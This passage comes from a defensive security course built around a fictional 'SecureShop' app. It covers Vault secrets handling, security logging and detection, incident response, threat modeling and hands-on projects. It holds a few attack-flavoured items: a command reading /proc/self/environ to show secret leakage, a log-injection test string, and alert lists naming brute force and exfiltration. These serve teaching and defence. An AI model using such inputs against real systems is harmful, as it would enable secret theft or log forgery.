vault kv get secret/secureshop/db
vault policy write app - <<'EOF'
path "secret/data/secureshop/*" { capabilities = ["read"] }
EOF
vault token create -policy=app -ttl=15m           # scoped, expiring token
# (Full dynamic-DB-creds demo: enable the `database` secrets engine against
#  a throwaway postgres, then `vault read database/creds/app-role` -> a
#  brand-new DB user that self-destructs.)
docker rm -f vault

# 4. Prove env vars leak
KEY=supersecret sh -c 'cat /proc/self/environ | tr "\0" "\n" | grep KEY'   # Linux
KEY=supersecret sh -c 'ps ew $$ | grep -o KEY=supersecret'

Mini-project (45 min): SecureShop secrets baseline

   1. Add gitleaks + detect-secrets to CI; add push protection; run a
      full-history scan and triage/rotate anything found.
   2. Move all SecureShop secrets (DB creds, JWT signing key, third-party
      API keys) into a secrets manager (Vault dev, or your cloud's).
      App reads them at startup via a workload identity, not a committed
      file.
   3. Write and TEST a rotation runbook for the JWT signing key using the
      2-versions-live pattern (verifier accepts old+new; issuer switches;
      retire old). Time yourself -- target < 1 hour.
   4. Drop a canary AWS key (canarytokens.org) into an old-looking
      config path; document what happens if it's "used".
   5. Report -> ~/sec-lab/reports/part11-secrets.md.

Chapter 50 — Logging, detection, and monitoring

What to log (security events)

   AUTHENTICATION   login success/failure (+ method, MFA used), logout,
                    password/'MFA change, token issue/refresh/revoke,
                    session creation, step-up auth. Include: user id,
                    source IP, user-agent, geo (derived), timestamp (UTC,
                    ISO 8601), request id.
   AUTHORIZATION    access-control DENIALS (esp.), privilege changes,
                    role/permission grants, admin actions, impersonation.
   INPUT VALIDATION rejections that look like attacks (SQLi/XSS patterns,
                    path traversal), WAF blocks.
   ACCOUNT LIFECYCLE creation, deletion, lockout, recovery, email/phone
                    change.
   DATA ACCESS       reads/exports of sensitive records (who, which, how
                    many), bulk operations, report generation.
   CONFIG / DEPLOY   feature-flag flips, config changes, deploys, IAM/
                    firewall/DNS changes, new API keys.
   INTEGRITY         signature verification failures, checksum mismatches,
                    unexpected file changes (FIM).
   SYSTEM            process start/stop, new listening ports, new cron,
                    outbound connections to new destinations, container
                    escapes/priv-esc signals.

What NOT to log

   * passwords, session tokens, API keys, full JWTs, MFA codes/secrets
   * full card numbers (PCI), CVV EVER, raw SSNs / national IDs
   * full request/response bodies on sensitive endpoints
   * more personal data than you need (GDPR data-minimisation; logs are
     a data store with retention obligations and breach exposure)
   -> REDACT at the logging boundary (allowlist fields, hash identifiers
      where you only need correlation, mask PANs to first6+last4).
   -> and beware LOG INJECTION (Ch 42): encode newlines/control chars so
      an attacker can't forge log lines or break your parser.

The pipeline

   app / host / network / cloud
        | structured logs (JSON), one event per line, stable schema
        v
   SHIP        Fluent Bit / Vector / journald+rsyslog / cloud agent
        | over TLS, buffered, with backpressure
        v
   CENTRAL STORE (append-only, access-controlled, time-synced via NTP)
        Elastic/OpenSearch, Loki, Splunk, cloud-native (CloudWatch,
        Cloud Logging), or a data lake + query engine
        |
        +--> SIEM / detections: correlation rules, threshold alerts,
        |      anomaly detection, threat-intel matching
        |      (Elastic Security, Splunk ES, Sentinel, Panther, Wazuh,
        |       Sigma rules as portable detection-as-code)
        +--> DASHBOARDS + scheduled reports
        +--> long-term cold storage for the retention window

Key properties: central (an attacker on one host can't erase the evidence), append-only / integrity-protected (WORM storage, or hash-chained), time- synced (correlation across systems needs trustworthy timestamps), retained long enough (dwell time is often months — 90 days is a floor, 1 year better).

Alerting: signal, not noise

   Alert on things that are ACTIONABLE and mean "attack in progress":
     - impossible travel / login from new country + MFA reset
     - spike in 401/403 from one source (enumeration / cred stuffing)
     - a single account hitting many object IDs (IDOR probing)
     - auth success after many failures (brute force succeeded)
     - admin action outside change windows / by a dormant account
     - outbound traffic to a new IP from a prod box (C2 / exfil)
     - your canary token used (Ch 49)
     - signature/integrity verification failure in the deploy path
     - disabling of logging/security tooling

   Every alert needs a RUNBOOK (what to check, how to triage, when to
   escalate). An alert with no runbook gets muted, then ignored.
   Tune ruthlessly: a channel that's 95% false positives is blind.

Detection engineering basics

   * Map detections to MITRE ATT&CK techniques -> know your coverage gaps.
   * Detection-as-code: rules in git, peer-reviewed, tested against
     recorded attack data, CI-linted (Sigma, Elastic detection rules).
   * Purple-team: run a known technique (Atomic Red Team, Caldera) ->
     did it fire? tune -> repeat.
   * Track metrics: MTTD (mean time to detect), MTTR (respond),
     alert precision, ATT&CK coverage.

# 1. Structured security logging in a tiny app (concept)
python3 - <<'PY'
import json, datetime, hashlib
def audit(event, **fields):
    rec = {"ts": datetime.datetime.now(datetime.UTC).isoformat(),
           "event": event, **fields}
    # redact: never log the token; log a short hash for correlation
    if "token" in rec:
        rec["token_fp"] = hashlib.sha256(rec.pop("token").encode()).hexdigest()[:12]
    # neutralise log injection
    line = json.dumps(rec).replace("\n", "\\n")
    print(line)
audit("auth.login.fail", user="alice", src_ip="203.0.113.9",
      ua="curl/8", reason="bad_password", request_id="req-abc123")
audit("authz.deny", user="bob", src_ip="198.51.100.4",
      object="orders/1002", action="read", request_id="req-def456")
audit("token.issue", user="alice", token="super-secret-value")
PY

# 2. Stand up a log stack and a detection (docker)
#    Loki + Grafana + Promtail, or the Elastic one-liner:
#    docker run -d --name es -p 9200:9200 -e discovery.type=single-node \
#      -e xpack.security.enabled=false docker.elastic.co/elasticsearch/elasticsearch:8.15.0

# 3. Detect brute force from auth logs with a threshold query (jq demo)
cat > auth.log <<'EOF'
{"ts":"2026-09-10T10:00:01Z","event":"auth.login.fail","user":"a","src_ip":"5.5.5.5"}
{"ts":"2026-09-10T10:00:02Z","event":"auth.login.fail","user":"b","src_ip":"5.5.5.5"}
{"ts":"2026-09-10T10:00:03Z","event":"auth.login.fail","user":"c","src_ip":"5.5.5.5"}
{"ts":"2026-09-10T10:00:04Z","event":"auth.login.fail","user":"d","src_ip":"5.5.5.5"}
{"ts":"2026-09-10T10:00:05Z","event":"auth.login.fail","user":"e","src_ip":"5.5.5.5"}
{"ts":"2026-09-10T10:00:06Z","event":"auth.login.ok","user":"e","src_ip":"5.5.5.5"}
EOF
jq -s 'group_by(.src_ip)[] | {ip: .[0].src_ip,
   fails: (map(select(.event=="auth.login.fail"))|length),
   then_success: (any(.event=="auth.login.ok"))}
   | select(.fails >= 5 and .then_success)
   | "ALERT: brute force likely succeeded from \(.ip) (\(.fails) fails)"' auth.log

# 4. Explore a real detection ruleset
git clone --depth 1 https://github.com/SigmaHQ/sigma
ls sigma/rules/web/ sigma/rules/application/    # read a few .yml rules

Mini-project (60 min): SecureShop detection baseline

   1. Define SecureShop's security log schema (JSON fields, event names)
      covering the "what to log" list; implement `audit()` in the app.
   2. Ship logs to a local Loki/Elastic; confirm they're queryable and
      that the app host cannot delete central copies.
   3. Write 5 detections (as Sigma rules or stack queries) with runbooks:
      credential stuffing, IDOR enumeration, admin action by dormant
      account, JWT signature failures, outbound to new IP from app tier.
   4. Simulate each (a script that generates the matching log pattern);
      confirm the alert fires; record MTTD.
   5. Redaction test: attempt to log a token/password/PAN; prove it's
      masked. Log-injection test: user field = "x\n{fake event}"; prove
      it's neutralised.
   6. Report -> ~/sec-lab/reports/part11-detection.md (schema, rules,
      simulation results, coverage vs ATT&CK).

Chapter 51 — Incident response

The lifecycle (NIST SP 800-61)

   1. PREPARATION      before anything happens
      - IR plan + playbooks (ransomware, cred compromise, data exfil,
        web-app breach, insider, supply-chain, DDoS)
      - roles: Incident Commander, Comms lead, Scribe, technical leads,
        Legal, Exec sponsor. A RACI. On-call rotation.
      - contact tree (incl. out-of-band: what if Slack/email is
        compromised?), retainer with an IR/forensics firm, cyber-insurance
        contacts, law-enforcement contacts
      - tooling ready: EDR, centralised logs (Ch 50), ability to isolate a
        host/rotate all creds/pull an image, a clean-room comms channel
      - RUNBOOKS TESTED via tabletop exercises + at least one live drill/yr

   2. DETECTION & ANALYSIS
      - triage: is it real? scope? severity? (define severities in advance)
      - declare an incident; assign an IC; start the timeline doc
        (every action, UTC, who) -- this is evidence and post-mortem input
      - preserve evidence BEFORE you change things (see forensics below)

   3. CONTAINMENT
      - SHORT-TERM: stop the bleeding -- isolate hosts (network quarantine,
        not power-off if you want memory), disable compromised accounts,
        revoke tokens/keys, block C2 IPs/domains, take the app to
        maintenance mode if needed
      - decide: monitor-and-learn vs contain-now (tips toward contain-now
        if data is actively leaving)
      - LONG-TERM: temporary fixes that let you operate while eradicating
        (patched hosts rebuilt from known-good, tighter rules)

   4. ERADICATION
      - remove the foothold: rebuild (don't "clean") compromised systems
        from trusted images, patch the entry vector, reset ALL potentially
        exposed credentials, remove persistence (cron, services, keys,
        webshells, IAM backdoors, OAuth grants)
      - confirm the initial access vector is actually closed

   5. RECOVERY
      - restore from known-good backups (verify integrity, scan first),
        return systems to prod in a monitored, staged way
      - heightened monitoring for recurrence (attackers retry)
      - define exit criteria: when is the incident "closed"?

   6. POST-INCIDENT ("lessons learned")
      - BLAMELESS post-mortem within ~2 weeks: timeline, root cause (5
        whys / causal analysis), what worked, what didn't, dwell time,
        MTTD/MTTC
      - concrete action items with owners and dates; track to done
      - update playbooks, detections, and controls

Containment decisions under pressure

   Pull network, keep power    -> preserves RAM (malware, keys, live
                                  processes) for forensics. Preferred if
                                  you have the capability.
   Power off                   -> stops encryption/exfil fast, but destroys
                                  volatile evidence. Sometimes the right
                                  call (active ransomware encryption).
   Leave running, watch        -> only if exfil is NOT ongoing and you have
                                  the monitoring to learn scope safely.
   Rotate credentials WIDELY   -> almost always, early. Assume the blast
                                  radius is bigger than it looks.

Forensic basics (do no harm to the evidence)

   ORDER OF VOLATILITY (collect most-volatile first):
     CPU registers/cache -> RAM -> network state (connections, ARP, routes)
     -> running processes -> disk -> logs/archives -> physical config

   PRINCIPLES:
     - work on COPIES; hash originals (SHA-256) and record the hash
     - maintain CHAIN OF CUSTODY (who touched what, when, why)
     - capture memory before shutdown (avml, LiME, WinPMEM)
     - image disks with a write-blocker; `dd`/` dc3dd` + hash
     - note system time vs true time (clock skew)
     - if it may go legal, involve Legal EARLY and follow their guidance
   You don't need to be a forensic examiner -- you need to not TRAMPLE the
   scene before one arrives.

Comms and obligations

   INTERNAL: single source of truth (the timeline doc + a status channel),
     regular exec updates, need-to-know for details.
   EXTERNAL: legal/regulatory timelines are real and short:
     - GDPR: notify the supervisory authority within 72 HOURS of becoming
       aware of a personal-data breach (and affected individuals if high
       risk).
     - US: state breach laws, SEC 4-day material-incident disclosure for
       public companies, sector rules (HIPAA, PCI, GLBA), CIRCIA.
     - contractual: customer notification SLAs.
   Prepare holding statements in advance. Do NOT speculate publicly on
   cause/scope before you know. Coordinate with Legal + PR.

   Run a 45-minute tabletop with 2-4 people (or solo, writing it out).

   SCENARIO: "At 02:14 an alert fires: SecureShop's orders-api tier made
   200 outbound HTTPS connections to an IP in a country you don't operate
   in. A dev notices the admin panel has a new user 'svc_backup' created
   at 01:50. crt.sh shows a cert issued for admin.securesh.op by a CA you
   don't use, 3 days ago."

   Work through, writing decisions + timestamps:
   1. Is this an incident? Severity? Who is IC? What's the first action in
      the next 5 minutes?
   2. Contain: what do you isolate/disable/revoke, in what order? What do
      you preserve first?
   3. What logs/data do you pull, and from where (Ch 50)? What's the
      likely initial vector given the cert + new user + egress?
   4. Eradicate: rebuild vs clean? Which credentials get rotated? How do
      you know the door is shut?
   5. Recover: backup strategy, exit criteria, extra monitoring.
   6. Obligations: is personal data implicated? Clock started when? Who do
      you notify and by when?
   7. Post-mortem: 3 action items you'd bet money on.

   Write it to ~/sec-lab/reports/part11-ir-tabletop.md.

Chapter 52 — Threat modeling and secure design

The four questions (Shostack's framework)

   1. WHAT ARE WE BUILDING?      a diagram: components, data stores, data
                                 flows, and TRUST BOUNDARIES (where data
                                 crosses from less- to more-trusted, or
                                 between owners). Keep it simple -- a
                                 whiteboard DFD, not a 40-page doc.
   2. WHAT CAN GO WRONG?         enumerate threats against each element and
                                 each flow crossing a boundary (use STRIDE
                                 as a prompt).
   3. WHAT ARE WE GOING TO DO?   for each threat: MITIGATE (add a control),
                                 ELIMINATE (remove the feature/data),
                                 TRANSFER (someone else's problem -- e.g.
                                 use a managed service), or ACCEPT
                                 (document, with sign-off).
   4. DID WE DO A GOOD JOB?      review it; revisit when the design changes;
                                 check the mitigations actually shipped and
                                 have tests.

STRIDE — a checklist for "what can go wrong"

   S  Spoofing              pretending to be someone/something
        -> authentication (Ch 46), mTLS (Ch 31), signed messages (Ch 21)
   T  Tampering             unauthorised modification of data/code
        -> integrity: AEAD (Ch 15), HMAC/signatures, input validation,
           access control (Ch 45), signed artifacts (Ch 47)
   R  Repudiation           "I didn't do that" (and you can't prove otherwise)
        -> audit logging (Ch 50), signatures/non-repudiation (Ch 21)
   I  Information disclosure exposure of data to the wrong party
        -> encryption in transit/at rest, least privilege, redaction,
           avoiding verbose errors, minimising data collected
   D  Denial of service     making it unavailable
        -> rate limiting, quotas, timeouts, autoscaling, input-size caps,
           algorithmic-complexity review, CDN/anti-DDoS
   E  Elevation of privilege gaining capabilities you shouldn't have
        -> authz on every request (Ch 45), sandboxing, least privilege,
           memory-safe languages / careful native code, no injection (Ch 42)

   Walk each component and data flow, ask "how could each letter apply
   here?" -- STRIDE is a creativity prompt, not a compliance form.

Other lenses you can layer in: attack trees (goal → sub-goals), LINDDUN (privacy threats), abuse/misuse cases, kill-chain / MITRE ATT&CK (how a real adversary would progress), and "what would a malicious insider do?".

Secure-design principles (Saltzer & Schroeder, still current)

   Least privilege            minimum rights, minimum time
   Fail-safe defaults          deny by default; errors deny access (Ch 3:
                               fail-closed vs fail-open -- choose per context)
   Defense in depth            no single control is trusted to hold
   Complete mediation          check EVERY access, every time (no caching a
                               stale "yes" -- Ch 45)
   Economy of mechanism        keep the security-critical part small and
                               simple enough to audit
   Open design                 security from keys/config, not secrecy of
                               design (Kerckhoffs, Ch 12)
   Separation of privilege      require two conditions (MFA, 4-eyes on
                               deploys, split keys)
   Least common mechanism       don't share state/resources across trust
                               levels (multi-tenant isolation)
   Psychological acceptability   if it's too painful, people bypass it ->
                               design the secure path to be the easy path
   Minimise attack surface      fewer endpoints, features, deps, ports, data
   Secure the weakest link      attackers target it; find yours

The SecureShop threat model (the Chapter 4 payoff)

Chapter 4 asked you to write down your instincts for four questions. Here's the worked answer, as a threat model. Compare it to what you wrote.

   SYSTEM (DFD, simplified):

     [Customer browser] --HTTPS--> (TB1) [edge/nginx] --> (TB2) [web/API]
                                                              |
                                              (TB3)  --mTLS-->[orders-api]
                                                              |
                                              (TB4)  -------->[PostgreSQL]
     [Admin browser] --HTTPS+mTLS--> (TB1') [admin app] --(TB3)--> orders-api
     [CI/CD] --signed artifact--> (TB5) [deploy] --> web/API, orders-api

   TRUST BOUNDARIES: TB1 internet->DMZ, TB2 DMZ->app, TB3 service->service,
   TB4 app->data, TB5 build->runtime, plus browser<->server (attacker owns
   the client).

   THREATS (STRIDE, selected) and DECISIONS:

   PASSWORD STORAGE  (your Ch 4 instinct: ______)
     T/I: DB theft -> offline cracking.
     -> Argon2id, per-user salt, pepper in KMS (Ch 10). MFA available;
        passkeys roadmap (Ch 46). Breached-password screening. ACCEPT
        residual risk of weak user passwords, mitigated by MFA + rate limit.

   KEY STORAGE  (your Ch 4 instinct: ______)
     I/E: JWT signing key, DB creds, TLS private keys.
     -> Secrets manager; workload identity; no secrets in repo/image
        (Ch 49). 2-versions-live rotation runbook, tested. TLS keys
        non-exportable where possible.

   PER-CUSTOMER AUTHZ  (your Ch 4 instinct: ______)
     E/I: IDOR on /orders/:id, /baskets/:id; horizontal escalation.
     -> Ownership in the WHERE clause on every query; centralised policy
        layer; 404 not 403; automated "as another user" tests (Ch 45).
        Object IDs are UUIDv4 (defence in depth, not the control).

   PRICE / TOTAL TAMPERING  (your Ch 4 instinct: ______)
     T: client submits price/total/discount.
     -> Server recomputes every monetary value from DB prices; coupons
        validated server-side; ignore client-supplied totals entirely.
        Idempotency keys + row locks on checkout to kill race conditions
        (Ch 45, insecure design).

   OTHER NOTABLE:
     S  admin impersonation      -> admin app requires mTLS + SSO + MFA;
                                    short sessions; admin actions logged &
                                    alerted (Ch 50).
     T  supply-chain             -> SBOM + scan + signed images verified at
                                    deploy; Actions pinned to SHA (Ch 47).
     R  "I didn't refund that"   -> immutable audit log of all admin/money
                                    actions (Ch 50).
     I  SSRF from "import from URL"-> allowlist + post-resolution IP check;
                                    IMDSv2; isolated egress (Ch 44).
     D  checkout/login flooding  -> rate limits per-account & per-IP; WAF;
                                    CDN; input-size caps.
     E  container breakout       -> non-root, read-only FS, seccomp,
                                    dropped caps, segmented network (Ch 39).

   RESIDUAL RISKS (accepted, with owner + review date): weak user
   passwords (mitigated), a rogue CA issuing for our domain (detected via
   CT monitoring, Ch 30), a determined malicious insider with DB access
   (mitigated by logging + separation of duties, not eliminated).

When and how to do it (lightweight, continuous)

   * At design time for anything new or significantly changed. 60-90 min,
     the team + a security-minded facilitator, a whiteboard.
   * "Threat model every story" for high-risk components: a 2-line
     "security notes" field in the ticket.
   * Keep the artifact IN THE REPO (docs/threat-model.md + the diagram as
     code -- e.g. `pytm`, Threagile, or just Mermaid). Review it in PRs
     that change the design.
   * Track mitigations as issues; verify they shipped with tests.
   * Re-run after incidents (a real attack is ground truth).

   1. Pick a real system you work on (or SecureShop).
   2. Draw the DFD: components, data stores, flows, trust boundaries.
      (Whiteboard photo, or Mermaid, or `pytm`.)
   3. For each element and each flow crossing a boundary, run STRIDE.
      Aim for ~15-30 concrete threats.
   4. For each threat, decide: mitigate / eliminate / transfer / accept.
      Name the control and where it lives in this guide.
   5. List residual/accepted risks with an owner and a review date.
   6. Cross-check against the secure-design principles list -- any
      violated? (Shared DB creds across services? A cached authz "yes"?
      A security check that's easy to skip?)
   7. Produce docs/threat-model.md + diagram, and open issues for the
      top 5 unmitigated threats.
   8. Compare with your Chapter 4 notes: what did you get right by
      instinct, and what did this guide change?

Chapter 53 — Project 1: your own CA, plus mutual TLS

Brief

Build the certificate authority that issues every certificate SecureShop uses — public-facing server certs, internal service certs, and client certs for mTLS — with a proper offline root, an online issuing intermediate, sane profiles, a revocation mechanism, and automated renewal. Then wire three services to use it and prove the trust decisions are correct.

Architecture

                 SecureShop Dev Root CA         (offline: key encrypted,
                   ed25519, 10-year, CA:TRUE      never on a networked box)
                          | signs ONE thing: the intermediate
                          v
                 SecureShop Issuing CA           (online: does day-to-day
                   ecdsa P-256, 3-year,           issuance; pathlen:0)
                   CA:TRUE, pathlen:0
                   /              |             \
   server profile     client profile        internal-service profile
   EKU serverAuth     EKU clientAuth         EKU serverAuth+clientAuth
   90-day, SANs       30-day, CN=identity    7-day, SPIFFE-style URI SAN
        |                    |                        |
   shop.securesh.op     orders-api-client        orders-api  <-> postgres
   www.securesh.op      admin-console            (both present + verify certs)

Tasks

   1. ROOT
      - ed25519 key, encrypted at rest (openssl pkey -aes-256-cbc).
      - Self-signed cert, basicConstraints critical CA:TRUE,
        keyUsage critical keyCertSign,cRLSign. 10 years.
      - Store the passphrase in your secrets manager (Ch 49), not a file.

   2. INTERMEDIATE
      - ECDSA P-256 key. CSR -> signed by root with pathlen:0.
      - This is the only key the issuing scripts touch.

   3. PROFILES (an openssl.cnf or a small `issue` script per type)
      - server:   SAN(s) required; EKU serverAuth; 90d; CA:FALSE.
      - client:   CN = a stable identity; EKU clientAuth; 30d.
      - service:  URI SAN spiffe://securesh.op/ns/default/sa/<name>;
                  EKU serverAuth,clientAuth; 7d.
      - Reject requests that don't match the profile (e.g. server cert
        with no SAN -> refuse).

   4. REVOCATION
      - Maintain a CRL (openssl ca -gencrl) OR run a tiny OCSP responder
        (openssl ocsp -index ...). Revoke a test cert; prove clients
        reject it.

   5. WIRE IT UP
      - nginx/Caddy for shop.securesh.op with the server cert; HTTP->HTTPS
        redirect; TLS 1.3+1.2, AEAD only; HSTS.
      - /admin location: require a client cert (verify against the
        intermediate); no cert -> 403.
      - orders-api <-> postgres: mutual TLS, each verifies the other's
        service cert against your CA (Postgres: ssl=on, clientcert=verify-full).

   6. RENEWAL
      - A cron/systemd-timer script that reissues any cert < 1/3 of its
        lifetime remaining, reloads the service, and alerts on failure.
      - Bonus: stand up `step-ca` or Vault PKI and drive it via ACME so
        renewal is fully hands-off.

   7. VERIFY (write results into the report)
      - openssl verify -show_chain for each leaf.
      - curl --cacert (works), curl (fails, cert error), curl -k (works
        but note the danger).
      - testssl.sh / sslyze against shop.securesh.op -> A-equivalent.
      - mTLS: connection with/without a valid client cert.
      - Revoke -> client rejects. Expire (issue with -days 1, wait) ->
        client rejects.
      - Break the chain (omit intermediate) -> curl fails; explain why a
        browser might not.

Deliverable

~/sec-lab/projects/p1-ca-mtls/ containing: the CA scripts/config, the service configs, the renewal script, and report.md with every verification above (command + output + one-line explanation), plus a diagram of your PKI and the trust decisions.

Definition of done

• Root is offline and its key is encrypted; you can state exactly where the passphrase lives.
• Every leaf verifies to the root through the intermediate.
• Each profile enforces its constraints (a wrong-shaped request is refused).
• shop.securesh.op scores A-equivalent on testssl.sh/sslyze.
• /admin is reachable only with a valid client cert.
• orders-api↔Postgres is mutually authenticated.
• Revocation works (CRL or OCSP), demonstrated.
• Renewal is automated and alerts on failure.

Rubric (score yourself /100)

   PKI structure & key protection ........... 20
   Correct, enforced cert profiles ......... 15
   Server TLS hardening (A-grade) .......... 15
   mTLS on /admin and service-to-service ... 20
   Revocation implemented & proven ......... 10
   Automated renewal + alerting ........... 10
   Report quality (evidence + reasoning) .. 10

Chapter 54 — Project 2: harden a server end to end

Brief

Take a single Linux host running SecureShop's web/API tier and harden it from a default install to something you'd defend in a review — OS, network, service, container, secrets, logging — measuring before and after against a benchmark.

Starting point

A fresh VM (Debian/Ubuntu or a RHEL derivative) running the SecureShop app in a container, with the Project 1 certificates. Snapshot it first so you can re-run.

Tasks

   1. BASELINE (measure first)
      - Run a CIS Benchmark scan: `lynis audit system`, and
        OpenSCAP with the CIS or STIG profile
        (`oscap xccdf eval --profile cis ...`).
      - Record the score and the top 20 findings.
      - nmap the box from outside: every open port -> justify or close.

   2. OS / HOST
      - Patch; enable unattended security updates.
      - Remove unused packages and services; disable IPv6 only if truly
        unused (else configure it).
      - Non-root service user; no login shells for service accounts.
      - sudo: least privilege, logged; no NOPASSWD for humans.
      - Kernel hardening: sysctl (rp_filter, tcp_syncookies,
        kptr_restrict, dmesg_restrict, disable unused protocols),
        `nf_conntrack` limits.
      - Filesystem: separate/`noexec,nodev,nosuid` on /tmp, /var/tmp,
        /dev/shm; auditd installed.
      - MAC: AppArmor/SELinux in enforcing mode for the service.
      - Time sync (chrony) -- needed for logs (Ch 50) and certs.

   3. SSH (Part 8)
      - Key-only, no root, no passwords, AllowGroups, modern
        Kex/Ciphers/MACs, reachable only from the bastion subnet.
      - `ssh-audit` -> clean.

   4. NETWORK (Part 9)
      - nftables default-deny inbound: 443 from anywhere, 22 from bastion.
      - Default-deny OUTBOUND: allow only DNS to your resolver, 443 to
        package mirrors + your APIs + monitoring. Log drops.
      - fail2ban or nftables rate-limit on 22/443.

   5. SERVICE / APP
      - Run as non-root in a container: read-only rootfs, `--cap-drop ALL`
        (add back only what's needed), `--security-opt no-new-privileges`,
        a seccomp profile, a tmpfs for scratch, resource limits.
      - Distroless/minimal base image, pinned by digest (Ch 47).
      - TLS via Project 1 certs; HSTS; security headers (Ch 41/43);
        server tokens/version banners off.
      - Healthcheck + auto-restart; graceful shutdown.

   6. SECRETS (Ch 49)
      - No secrets in the image, env file, or compose file. App pulls from
        a secrets manager using a host/workload identity.
      - Secret scan the build context.

   7. LOGGING (Ch 50)
      - Structured app audit logs + auditd + nftables drops shipped
        off-host over TLS to a central store the app host can't purge.
      - 3 detections with runbooks (e.g. outbound-drop spike, SSH auth
        anomaly, app authz-deny spike).

   8. RE-MEASURE
      - Re-run lynis / OpenSCAP -> new score; diff the findings.
      - Re-run external nmap -> attack surface delta.
      - Confirm the app still works end to end (don't harden it into a
        brick -- keep a functional smoke test).

Deliverable

~/sec-lab/projects/p2-harden/ with: the config (as scripts / Ansible / a Dockerfile + compose or systemd units — infrastructure as code, so it's repeatable), before.md and after.md scan outputs, and report.md with the score delta, the surface delta, each change and its rationale (mapped to a CIS control or a chapter), and anything you deliberately did not do (with why).

Definition of done

• Lynis/OpenSCAP score materially improved; you can explain every remaining finding (fix, accept-with-reason, or false positive).
• External nmap shows only 443 (and 22 from the bastion).
• Outbound is default-deny with a justified allowlist.
• Container runs non-root, read-only, least-capability, seccomp-confined.
• No secret is present in the image or compose/env files.
• Logs reach a store the host cannot tamper with; 3 detections fire in test.
• The app still passes a full functional smoke test.
• The whole build is reproducible from code in the repo.

Rubric (/100)

   Measured before/after with a real benchmark .. 15
   OS + kernel + MAC hardening ................. 20
   Network (in + egress) + SSH ................. 20
   Container/service hardening ................. 20
   Secrets handled correctly .................. 10
   Logging + working detections ............... 10
   IaC / reproducibility + report ............. 5

Chapter 55 — Project 3: break and fix a vulnerable application

Brief

Do a full security assessment of a deliberately-vulnerable app: find issues across every OWASP category, write them up like a professional report, then fix a representative subset in code with tests that prove closure — and re-test to confirm.

Target options (pick one, all legal to test)

   * OWASP Juice Shop        (Node/Angular; the reference target)
   * OWASP WebGoat           (Java; guided lessons)
   * DVWA / bWAPP            (PHP; classic)
   * a "vulnerable by design" app in YOUR stack (django-DefectDojo's
     test fixtures, RailsGoat, NodeGoat, etc.) -- best for the FIX phase

For the fix phase you need the source, so favour a target whose code you can edit and redeploy.

Phase 1 — Assess (use the Ch 48 methodology)

   Proxy everything through Burp/ZAP. Work the methodology: map -> auth &
   session -> access control -> input handling -> client-side -> business
   logic -> infra/misc.

   Find and evidence AT LEAST:
     [ ] 2x Injection (e.g. SQLi + command/NoSQL/SSTI)
     [ ] 2x XSS (two of reflected/stored/DOM)
     [ ] 2x Broken access control (IDOR + BFLA/mass-assignment/path-trav)
     [ ] 1x Authentication/session/JWT
     [ ] 1x CSRF or SSRF or CORS
     [ ] 1x Cryptographic failure (weak hash, missing TLS, secret in JS,
             predictable token)
     [ ] 1x Security misconfiguration (headers, exposed file, debug
             endpoint, default creds, verbose error)
     [ ] 1x Vulnerable component (retire.js / SCA)
     [ ] 1x Business-logic flaw (price tampering, coupon abuse, race,
             step-skipping)

Phase 2 — Report (this is a real skill)

One document, per-finding sections, ordered by risk:

   Title | Severity (CVSS v3.1 vector + score) + business impact
   Affected: endpoint(s), parameter(s), preconditions
   Steps to reproduce: numbered, copy-pasteable, with the exact
     request/response (redacted) as evidence
   Root cause: the actual code/config defect (name the class)
   Remediation: specific, with a code sketch and the relevant OWASP
     cheat-sheet link
   References: CWE id, OWASP, any CVE
   Retest: (filled in Phase 4)

   Plus: an executive summary (5 sentences, no jargon), a findings table,
   and a methodology/scope statement.

Phase 3 — Fix (in code)

Pick at least 5 findings spanning ≥4 categories and fix them properly in the source:

   Injection      -> parameterised queries / exec-array / sandboxed
                     template; NOT input filtering as the primary control.
   XSS            -> context-aware output encoding / framework autoescape +
                     a strict nonce CSP; DOMPurify for rich text.
   Access control -> ownership in the query; centralised authz guard;
                     field allowlist DTO; 404 not 403.
   Auth/JWT       -> pin alg, verify aud/iss/exp, rotate session on login,
                     Secure/HttpOnly/SameSite cookie.
   CSRF/SSRF      -> synchronizer token + SameSite; allowlist + post-
                     resolution IP check + no redirects.
   Crypto         -> Argon2id; TLS enforced; move the secret server-side.
   Misconfig      -> add the headers; remove the debug route; fix the error
                     handler; update the component.

   For each fix: write a TEST (unit or integration) that FAILS against the
   vulnerable code and PASSES after the fix. This is your regression proof.

Phase 4 — Re-test

Re-run each original exploit against the patched build. Fill in the "Retest" field: Fixed / Partially fixed / Not fixed, with evidence. Note any fix that broke functionality.

Deliverable

~/sec-lab/projects/p3-breakfix/ with: report.md (the full assessment), fixes/ (the patched source or a diff/patch set), tests/ (the regression tests), and retest.md.

Definition of done

• ≥12 findings across ≥6 OWASP categories, each with reproducible evidence.
• A report a stranger could act on: exec summary, findings table, CVSS, root cause, remediation, references.
• ≥5 findings fixed in code across ≥4 categories, using the correct control (not a filter/WAF band-aid).
• A failing-then-passing test for every fix.
• Re-test documented; no fix silently broke the app.

Rubric (/100)

   Coverage & correctness of findings ......... 25
   Evidence quality (reproducible, clear) .... 15
   Report professionalism (structure, CVSS,
     exec summary, remediation) .............. 20
   Fixes use the right control ............... 25
   Regression tests prove closure ........... 10
   Re-test rigour ........................... 5

Chapter 56 — Project 4: a post-quantum readiness audit

Brief

Produce the deliverable a real organisation needs to start its PQC migration (Part 6): a complete cryptographic inventory of SecureShop, a risk-ranked migration plan, and a working proof-of-concept of hybrid key exchange plus a crypto-agile signature path.

Phase 1 — Cryptographic inventory

   Enumerate EVERY use of cryptography across SecureShop:
     - TLS: every endpoint (shop, admin, orders-api, DB, monitoring,
       webhooks out). Protocol, cipher, KEX group, cert key type/size,
       signature alg. (openssl s_client / testssl.sh / sslyze in a loop.)
     - SSH: host + user key types; Kex/Ciphers/MACs. (ssh-audit.)
     - Application: JWT alg; password hash; any AES/RSA/ECDH in code;
       token generation; HMAC usage. (grep + dependency review.)
     - At rest: DB/disk/backup encryption; how keys are wrapped (KMS?).
     - Secrets manager: its own transit + storage crypto.
     - Supply chain: artifact signing (your Ch 22 tool), image signing,
       package signature verification.
     - Third parties: payment gateway, email, CDN -- what do their APIs
       use, and do you pin anything?

   For each row record: component | algorithm | key size/params | key
   location | who can rotate it | data confidentiality lifetime |
   HNDL-sensitive? (does 2035 disclosure matter?) | quantum-vulnerable?
   (RSA/DH/ECC = yes; AES-256/SHA-384 = no) | crypto-agile? (algorithm in
   config vs hard-coded).

Phase 2 — Risk ranking and migration plan

   Prioritise by  (secrecy-lifetime) x (exposure) x (difficulty-to-change).
   Produce a phased plan mapping to Ch 25's playbook:

     Phase 0  inventory (Phase 1 above) -- done
